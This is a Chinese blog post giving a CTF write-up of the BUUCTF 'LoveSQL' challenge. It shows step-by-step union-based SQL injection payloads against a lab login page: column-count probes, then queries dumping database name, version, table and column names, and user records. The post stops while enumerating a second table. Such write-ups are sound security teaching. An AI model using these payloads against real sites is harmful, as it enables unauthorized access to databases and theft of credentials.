BUUCTF之[极客大挑战 2019]LoveSQL

最新推荐文章于 2024-03-13 22:18:01 发布

原创最新推荐文章于 2024-03-13 22:18:01 发布 · 395 阅读

0 ·

CC 4.0 BY-SA版权

CTF 专栏收录该内容

7 篇文章

订阅专栏

本文深入探讨了SQL注入攻击的技术细节，通过实例展示了如何利用SQL注入获取数据库信息，包括数据库版本、表名、字段名及数据内容。从测试字段数量到爆破表结构，再到具体数据查询，全面解析了SQL注入的实施过程。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

1.题：
在这里插入图片描述

2.题样：
在这里插入图片描述

3.万能用户或者万能密码，也可以bp：
在这里插入图片描述

提交试试，不对。看题目是简单的SQL注入。
4.http://ae846ab2-f07a-4986-9766-c4fb867dc32e.node3.buuoj.cn/check.php?username=1%27order%20by%2010%23%23&password=1
在这里插入图片描述

http://ae846ab2-f07a-4986-9766-c4fb867dc32e.node3.buuoj.cn/check.php?username=1%27order%20by%205%23%23&password=1
在这里插入图片描述

http://ae846ab2-f07a-4986-9766-c4fb867dc32e.node3.buuoj.cn/check.php?username=1%27order%20by%203%23%23&password=1
在这里插入图片描述

http://ae846ab2-f07a-4986-9766-c4fb867dc32e.node3.buuoj.cn/check.php?username=1%27order%20by%204%23%23&password=1
在这里插入图片描述

测试出字段为3.
可用字段，2，3：
在这里插入图片描述

查询数据库，版本等：
union select 1,database(),version()%23&password=1
在这里插入图片描述

数据库为geek。
爆表:
username=1’union select 1,group_concat(table_name),version() from information_schema.tables where table_schema=database()%23&password=1
在这里插入图片描述

首先geekuser表，爆字段：
username=1’union select 1,group_concat(column_name),version() from information_schema.columns where table_name=‘geekuser’%23&password=1
在这里插入图片描述

查询内容：
username=1’union select 1,group_concat(username),password from ‘geekuser’%23&password=1
在这里插入图片描述

username=1’union select 1,group_concat(id),password from geekuser%23&password=1
在这里插入图片描述

提交的password，不对。看看另外一张表l0ve1ysq1：
username=1’union select 1,group_concat(column_name),version() from information_schema.columns where table_name=‘l0ve1ysq1’%23&password=1
在这里插入图片描述